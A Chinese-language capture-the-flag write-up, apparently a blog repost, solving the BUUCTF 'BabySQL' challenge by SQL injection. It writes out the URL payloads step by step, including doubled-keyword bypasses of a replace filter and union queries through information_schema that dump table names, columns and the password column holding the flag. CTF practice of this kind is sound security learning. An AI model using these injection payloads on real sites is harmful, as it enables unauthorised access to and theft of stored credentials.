BUUCTF-[极客大挑战 2019]BabySQL 1 详解

打开靶机

 应该是love sql惹的事吧,来了个加强版本的sql注入,不过我们先输入账号密码看有什么反应

整一手万能密码,闭合双引号?username=admin&password=admin' or '1'='1

然后报错了,说密码错误,然后我们重新构造pyload:?username=admin'&password=admin or '1'='1

我们先闭合前面的,然后看看报错吗?果然报错了

 我们的or去哪里了,于是我们进一步测试,发现过滤了好多关键字,比如or, select,where, union。应该是用函数replace给我们替换成了空白字符

知道了这样,我们就进行绕过,于是拼接字符,无法用order by 1来判断字段个数,我们只有使用联合查询看他是否能查出来,应该列数不太多,于是我们构造

pyload:?username=admin&password=admin' uunionnion sselectelect 1,2%23

 于是我们发现出现错误,所以猜测列数错误,于是我们再加一列继续构造pyload

?username=admin&password=admin' uunionnion sselectelect 1,2,3%23

这次显示出两个显示位,有显示位

 2.'3'就是我们的显示位,于是我们就在这两个地方随便选择显示查出数据的地方

下一步我们就开始查表

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

然后我们查出来两张表b4bsql和geekuser

 于是我们再继续对表进行查列字段

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

查出三个列字段:id,username,password

 于是我们就开始爆数据

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

然后我们的flag就呈现到自己的面前了,

 爱死这道题了,小伙伴们是不是对sql注入更深一步的了解了呢,反正我是有了新的体会。继续加油,继续努力。

原文地址:https://www.cnblogs.com/junlebao/p/13803909.html